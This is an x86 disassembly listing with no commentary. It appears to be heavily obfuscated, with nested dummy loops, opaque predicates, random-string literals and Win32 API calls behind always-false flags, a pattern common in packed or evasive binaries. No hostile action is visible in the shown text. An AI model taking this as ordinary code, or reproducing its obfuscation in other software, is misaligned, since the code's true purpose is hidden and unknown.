cmp dword [ebp - 0x338], 0x5e69
jge 0x1002bac8
and dword [ebp - 0x330], 0
jmp 0x1002b9fb
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 0x6ee2
jge 0x1002bac3
and dword [ebp - 0x320], 0
jmp 0x1002ba21
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 0x527b
jge 0x1002babe
and dword [ebp - 0x328], 0
jmp 0x1002ba47
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 0x3215
jge 0x1002bab9
mov ecx, dword [ebp - 0x320]
imul ecx, dword [ebp - 0x328]
mov eax, dword [ebp - 0x330]
shl eax, cl
or eax, dword [ebp - 0x338]
cdq
mov dword [ebp - 0xa5c], eax
mov dword [ebp - 0xa58], edx
push dword [ebp - 0xa58]
push dword [ebp - 0xa5c]
lea ecx, [ebp - 0x1048]
call fcn.10001a75
pop ecx
pop ecx
mov dword [ebp - 0x8c8], eax
mov ecx, dword [ebp - 0x8c8]
call fcn.10001e3c
push eax
call fcn.10047084
pop ecx
lea ecx, [ebp - 0x1048]
call fcn.10001e32
jmp 0x1002ba3a
jmp 0x1002ba14
jmp 0x1002b9ee
jmp 0x1002b9c8
mov byte [ebp - 4], 0x42
cmp dword [ebp - 0x6e0], 0x58d2
jge 0x1002bae4
push dword [ebp - 0x8d0]
call fcn.10047084
pop ecx
jmp 0x1002bb00
mov dword [ebp - 4], 0x41
jmp 0x1002bb10
mov dword [ebp - 0x340], 0
jmp 0x1002bb29
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 2
jge 0x1002bb45
mov eax, dword [ebp - 0x340]
mov dword [ebp + eax*4 - 0xd10], 5
jmp 0x1002bb1c
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0xee4], eax
xor eax, eax
jne 0x1002bb71
push dword [ebp - 0x54]
lea ecx, [ebp - 0x878]
call fcn.10002064
cmp dword [eax], 0
jne 0x1002bb71
and dword [ebp - 0x6e8], 0
jmp 0x1002bb7b
mov dword [ebp - 0x6e8], 1
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x6e8]
jge 0x1002bb92
mov dword [ebp - 0x6f0], 1
jmp 0x1002bb99
and dword [ebp - 0x6f0], 0
mov eax, dword [ebp - 0xec]
cmp dword [ebp - 0x6f0], eax
jge 0x1002bbb3
mov dword [ebp - 0x6f8], 1
jmp 0x1002bbba
and dword [ebp - 0x6f8], 0
push 0
lea ecx, [ebp - 0x878]
call fcn.10002064
mov eax, dword [eax]
cmp eax, dword [ebp - 0x6f8]
jne 0x1002bbdd
mov dword [ebp - 0x700], 1
jmp 0x1002bbe4
and dword [ebp - 0x700], 0
mov eax, dword [ebp - 0x700]
neg eax
cmp eax, 0xfffffffd
jg 0x1002bbfd
mov dword [ebp - 0x708], 1
jmp 0x1002bc04
and dword [ebp - 0x708], 0
mov eax, dword [ebp - 0x708]
mov dword [ebp - 0x710], eax
mov eax, dword [ebp - 0x710]
add eax, dword [ebp - 0x84]
je 0x1002bc33
cmp dword [ebp - 0xec], 0
je 0x1002bc33
mov dword [ebp - 0x718], 1
jmp 0x1002bc3a
and dword [ebp - 0x718], 0
push dword [ebp - 0x54]
lea ecx, [ebp - 0x878]
call fcn.10002064
mov ecx, dword [ebp - 0x718]
cmp ecx, dword [eax]
jg 0x1002bc5e
mov dword [ebp - 0x720], 1
jmp 0x1002bc65
and dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3a0], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x3a0]
neg ecx
cmp ecx, dword [ebp + eax - 0xf10]
jle 0x1002bc93
mov dword [ebp - 0x728], 1
jmp 0x1002bc9a
and dword [ebp - 0x728], 0
push 0
lea ecx, [ebp - 0x878]
call fcn.10002064
mov ecx, dword [ebp - 0x728]
cmp ecx, dword [eax]
jge 0x1002bcbd
mov dword [ebp - 0x730], 1
jmp 0x1002bcc4
and dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0
je 0x1002bcf7
cmp dword [ebp - 0x3a0], 0
je 0x1002bcf7
mov eax, 0x86e6
test eax, eax
je 0x1002bcf7
mov dword [ebp - 0x738], 1
jmp 0x1002bcfe
and dword [ebp - 0x738], 0
push dword [ebp - 0x54]
lea ecx, [ebp - 0x878]
call fcn.10002064
mov eax, dword [eax]
imul eax, dword [ebp - 0x738]
neg eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xd10], eax
mov dword [ebp - 0xec], 0
jmp 0x1002bd3d
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jg 0x1002bd73
mov byte [ebp - 0x10d], 0
movzx eax, byte [ebp - 0x10d]
test eax, eax
je 0x1002bd71
push 0xfc9
push 0x1314
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_GetMessageA]
jmp 0x1002bd30
jmp 0x1002b96d
jmp 0x1002b946
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x154]
mov dword [ebp - 0x348], eax
jmp 0x1002b92c
mov dword [ebp - 0x348], 0xfffffffa
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x878]
call fcn.10002048
jmp 0x1002bdd0
mov byte [ebp - 0x11d], 0
movzx eax, byte [ebp - 0x11d]
test eax, eax
je 0x1002bdd0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
jmp 0x1002b5ce
mov eax, dword [ebp + 8]
mov dword [ebp - 0x8f0], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x928], eax
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x350], 0
jmp 0x1002be07
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 2
jge 0x1002be23
mov eax, dword [ebp - 0x350]
mov dword [ebp + eax*4 - 0xf70], 2
jmp 0x1002bdfa
mov dword [ebp - 0x40], 0
jmp 0x1002be33
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x18
jge 0x1002c07f
push 3
lea ecx, [ebp - 0x3dc]
call fcn.10001fe6
mov dword [ebp - 4], 0x44
mov dword [ebp - 0x8e0], 0xfffffff9
mov dword [ebp - 0x8e8], 0xffffffff
mov dword [ebp - 0x358], 0
jmp 0x1002be7e
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 3
jge 0x1002bea0
push dword [ebp - 0x358]
lea ecx, [ebp - 0x3dc]
call fcn.10002064
mov dword [eax], 0xfffffff6
jmp 0x1002be71
push 2
lea ecx, [ebp - 0x3dc]
call fcn.10002064
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xd4c], eax
push 2
lea ecx, [ebp - 0x3dc]
call fcn.10002064
mov eax, dword [eax]
add eax, 0x4a30e36c
cmp eax, 0x43d2
jne 0x1002bedd
mov dword [ebp - 0x740], 1
jmp 0x1002bee4
and dword [ebp - 0x740], 0
cmp dword [ebp - 0x740], 0xffffffff
ja 0x1002bef9
mov dword [ebp - 0x748], 1
jmp 0x1002bf00
and dword [ebp - 0x748], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x748], eax
je 0x1002bf17
mov dword [ebp - 0x8d8], 1
jmp 0x1002bf1e
and dword [ebp - 0x8d8], 0
push 2
lea ecx, [ebp - 0x3dc]
call fcn.10002064
push 0
lea ecx, [ebp - 0x3dc]
call fcn.10002064
mov esi, dword [ebp - 0x40]
push 2
lea ecx, [ebp - 0x3dc]
call fcn.10002064
cmp esi, dword [eax]
jg 0x1002bf58
mov dword [ebp - 0x750], 1
jmp 0x1002bf5f
and dword [ebp - 0x750], 0
mov eax, dword [ebp - 0x40]
imul eax, dword [ebp - 0x750]
test eax, eax
je 0x1002bf82
mov eax, 0x10466712
test eax, eax
je 0x1002bf82
mov dword [ebp - 0x758], 1
jmp 0x1002bf89
and dword [ebp - 0x758], 0
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x758]
je 0x1002bfa0
mov dword [ebp - 0x760], 1
jmp 0x1002bfa7
and dword [ebp - 0x760], 0
push 0
lea ecx, [ebp - 0x3dc]
call fcn.10002064
mov ecx, dword [ebp - 0x760]
cmp ecx, dword [eax]
je 0x1002bfca
mov dword [ebp - 0x768], 1
jmp 0x1002bfd1
and dword [ebp - 0x768], 0
mov esi, dword [ebp - 0x768]
sub esi, dword [ebp - 0x40]
push 2
lea ecx, [ebp - 0x3dc]
call fcn.10002064
cmp esi, dword [eax]
jne 0x1002bff7
mov dword [ebp - 0x770], 1
jmp 0x1002bffe
and dword [ebp - 0x770], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x770], eax
jl 0x1002c015
mov dword [ebp - 0x778], 1
jmp 0x1002c01c
and dword [ebp - 0x778], 0
mov eax, dword [ebp - 0x778]
mov dword [ebp - 0x8e0], eax
mov esi, dword [ebp - 0x40]
push 2
lea ecx, [ebp - 0x3dc]
call fcn.10002064
cmp esi, dword [eax]
jge 0x1002c048
mov dword [ebp - 0x780], 1
jmp 0x1002c04f
and dword [ebp - 0x780], 0
push 2
lea ecx, [ebp - 0x3dc]
call fcn.10002064
mov ecx, dword [ebp - 0x780]
imul ecx, dword [eax]
mov dword [ebp - 0x8e8], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3dc]
call fcn.10002048
jmp 0x1002be2c
mov eax, dword [ebp - 0x8f0]
mov dword [ebp - 0x940], eax
mov dword [ebp - 0xf4], 0xf825
mov dword [ebp - 0x7a0], 1
mov dword [ebp - 0x3a8], 0xbdd48407
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0xe0c], eax
mov eax, dword [ebp - 0xf4]
sub eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0xf4]
jg 0x1002c36c
mov dword [ebp - 0x788], 0x538b
mov dword [ebp - 0x8f8], str.hjiymucxz_sqgori_psnoiaoc_osjxlrs_ulmpm_lufnz_arffhd_udis_nizgk_tgttv_hgslux_bula_mtwjlaa_djbs
cmp dword [ebp - 0x788], 0x56f2
jle 0x1002c1c9
push 0x2150
push 0
push 0x97f
push 0x6c1
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
and dword [ebp - 0x360], 0
jmp 0x1002c11e
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 0x1467
jge 0x1002c1b3
and dword [ebp - 0x368], 0
jmp 0x1002c144
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 0x5863
jge 0x1002c1ae
and dword [ebp - 0x370], 0
jmp 0x1002c166
mov eax, dword [ebp - 0x370]
inc eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 0x398c
jge 0x1002c1ac
mov eax, dword [ebp - 0x360]
cdq
idiv dword [ebp - 0x368]
and edx, dword [ebp - 0x370]
mov eax, edx
cdq
mov dword [ebp - 0xa68], eax
mov dword [ebp - 0xa64], edx
push dword [ebp - 0xa64]
push dword [ebp - 0xa68]
mov ecx, 0x100788d8
call fcn.10001e5c
jmp 0x1002c159
jmp 0x1002c137
jmp 0x1002c111
push 0
push 0
push 0x68a
push 0x51f
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
mov dword [ebp - 0x98], 0
mov dword [ebp - 4], 0x45
cmp dword [ebp - 0x788], 0x5275
jge 0x1002c1f6
mov edx, dword [ebp - 0x8f8]
mov ecx, 0x100788d8
call fcn.10003d65
jmp 0x1002c212
or dword [ebp - 4], 0xffffffff
jmp 0x1002c21c
mov dword [ebp - 0x910], 9
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xd54], eax
cmp dword [ebp - 0x98], 1
jbe 0x1002c250
cmp dword [ebp - 0x98], 0
je 0x1002c250
mov dword [ebp - 0x790], 1
jmp 0x1002c257
and dword [ebp - 0x790], 0
imul eax, dword [ebp - 0x790], 0x11e2
sub eax, 0x80eb
je 0x1002c27d
cmp dword [ebp - 0x98], 0
je 0x1002c27d
mov dword [ebp - 0x798], 1
jmp 0x1002c284
and dword [ebp - 0x798], 0
mov eax, dword [ebp - 0x798]
mov dword [ebp - 0x7a0], eax
mov eax, dword [ebp - 0x7a0]
mov dword [ebp - 0xeac], eax
mov eax, dword [ebp - 0x98]
imul eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0x98]
je 0x1002c2bd
mov dword [ebp - 0x7a8], 1
jmp 0x1002c2c4
and dword [ebp - 0x7a8], 0
mov eax, dword [ebp - 0x7a8]
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 0x4fd5
jl 0x1002c2e8
mov dword [ebp - 0x7b0], 1
jmp 0x1002c2ef
and dword [ebp - 0x7b0], 0
mov eax, dword [ebp - 0x98]
cmp dword [ebp - 0x7b0], eax
jge 0x1002c309
mov dword [ebp - 0x900], 1
jmp 0x1002c310
and dword [ebp - 0x900], 0
mov eax, 0xdb8846b5
cmp eax, 0x2f37fc03
jne 0x1002c328
mov dword [ebp - 0x7b8], 1
jmp 0x1002c32f
and dword [ebp - 0x7b8], 0
mov eax, dword [ebp - 0x7b8]
sub eax, 0x4f5ee8df
mov ecx, dword [ebp - 0xf4]
sub ecx, eax
cmp ecx, dword [ebp - 0xf4]
jg 0x1002c356
mov dword [ebp - 0x908], 1
jmp 0x1002c35d
and dword [ebp - 0x908], 0
mov dword [ebp - 0x910], 1
jmp 0x1002c475
mov dword [ebp - 0xfc], 0xc8a36a77
mov dword [ebp - 0x7e0], 0
mov dword [ebp - 0x920], 0x14ff6a91
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xd5c], eax
cmp dword [ebp - 0xfc], 0xffff
jbe 0x1002c3ae
mov dword [ebp - 0x7c0], 1
jmp 0x1002c3b5
and dword [ebp - 0x7c0], 0
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0x7c0], eax
je 0x1002c3cf
mov dword [ebp - 0x7c8], 1
jmp 0x1002c3d6
and dword [ebp - 0x7c8], 0
mov eax, dword [ebp - 0xfc]
cmp eax, dword [ebp - 0x7c8]
jle 0x1002c3f9
cmp dword [ebp - 0xfc], 0
je 0x1002c3f9
mov dword [ebp - 0x7d0], 1
jmp 0x1002c400
and dword [ebp - 0x7d0], 0
mov eax, dword [ebp - 0xfc]
cmp eax, dword [ebp - 0x7d0]
jle 0x1002c41a
mov dword [ebp - 0x7d8], 1
jmp 0x1002c421
and dword [ebp - 0x7d8], 0
mov eax, dword [ebp - 0xf4]
sub eax, dword [ebp - 0x7d8]
je 0x1002c436
cmp dword [ebp - 0x3a8], 0
mov dword [ebp - 0x7e0], 0x96ad
cmp dword [ebp - 0x7e0], 0xffff
jne 0x1002c458
mov dword [ebp - 0x918], 1
jmp 0x1002c45f
and dword [ebp - 0x918], 0
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xe1c], eax
mov dword [ebp - 0x920], 0xffffffff
mov byte [ebp - 0x119], 0
movzx eax, byte [ebp - 0x119]
test eax, eax
je 0x1002c48d
call dword [sym.imp.USER32.dll_GetCapture]
mov eax, dword [ebp - 0x928]
mov dword [ebp - 0x938], eax
mov dword [ebp - 0x7e8], 0x3380
mov dword [ebp - 0x948], str.ncu_zzykef_aoabgjv_dadfdr_dgaukepsy_rflt_kbq_cas_pzp_rum_ngxnkbo_wxspxfac
cmp dword [ebp - 0x7e8], 0x369c
jle 0x1002c59f
push 0x1f31
call dword [sym.imp.GDI32.dll_GetStockObject]
and dword [ebp - 0x388], 0
jmp 0x1002c4de
mov eax, dword [ebp - 0x388]
inc eax
mov dword [ebp - 0x388], eax
cmp dword [ebp - 0x388], 0x6116
jge 0x1002c59f
and dword [ebp - 0x378], 0
jmp 0x1002c504
mov eax, dword [ebp - 0x378]
inc eax
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 0x7a87
jge 0x1002c59a
and dword [ebp - 0x380], 0
jmp 0x1002c52a
mov eax, dword [ebp - 0x380]
inc eax
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0x6db5
jge 0x1002c595
mov eax, dword [ebp - 0x378]
mov ecx, dword [ebp - 0x380]
shl eax, cl
and eax, dword [ebp - 0x388]
cdq
mov dword [ebp - 0xa74], eax
mov dword [ebp - 0xa70], edx
push dword [ebp - 0xa70]
push dword [ebp - 0xa74]
lea ecx, [ebp - 0x1078]
call fcn.10001a75
pop ecx
pop ecx
mov dword [ebp - 0x930], eax
mov ecx, dword [ebp - 0x930]
call fcn.10001e3c
push eax
call fcn.10047084
pop ecx
lea ecx, [ebp - 0x1078]
call fcn.10001e32
jmp 0x1002c51d
jmp 0x1002c4f7
jmp 0x1002c4d1
push dword [ebp - 0x938]
push dword [ebp - 0x940]
call dword [0x1044a5f0]
mov dword [ebp - 0x960], eax
mov dword [ebp - 4], 0x47
cmp dword [ebp - 0x7e8], 0x315e
jge 0x1002c5d6
push dword [ebp - 0x948]
call fcn.10047084
pop ecx
jmp 0x1002c5f2
or dword [ebp - 4], 0xffffffff
jmp 0x1002c5fc
mov dword [ebp - 0x950], 0x125d16df
mov dword [ebp - 0x958], 8
mov dword [ebp - 0xd64], 0x1836ccb0
mov dword [ebp - 0xed4], 0x10d21dfe
mov dword [ebp - 0xd6c], 0
mov dword [ebp - 0xe2c], 1
mov dword [ebp - 0xd74], 0xffffffff
push 1
lea ecx, [ebp - 0xe98]
call fcn.10001fe6
mov dword [ebp - 4], 0x49
mov dword [ebp - 0x7f8], 0xfffa
mov dword [ebp - 0x2b4], 0
jmp 0x1002c679
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 1
jge 0x1002c69b
push dword [ebp - 0x2b4]
lea ecx, [ebp - 0xe98]
call fcn.10002064
mov dword [eax], 0xe9fb1c03
jmp 0x1002c66c
cmp dword [ebp - 0x950], 0xfffffffb
je 0x1002c6b0
mov dword [ebp - 0x7f0], 1
jmp 0x1002c6b7
and dword [ebp - 0x7f0], 0
mov eax, dword [ebp - 0x7f0]
mov dword [ebp - 0x958], eax
mov eax, dword [ebp - 0x7f8]
dec eax
mov dword [ebp - 0x7f8], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe98]
call fcn.10002048
mov eax, dword [ebp - 0x960]
jmp 0x1002c6e9
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret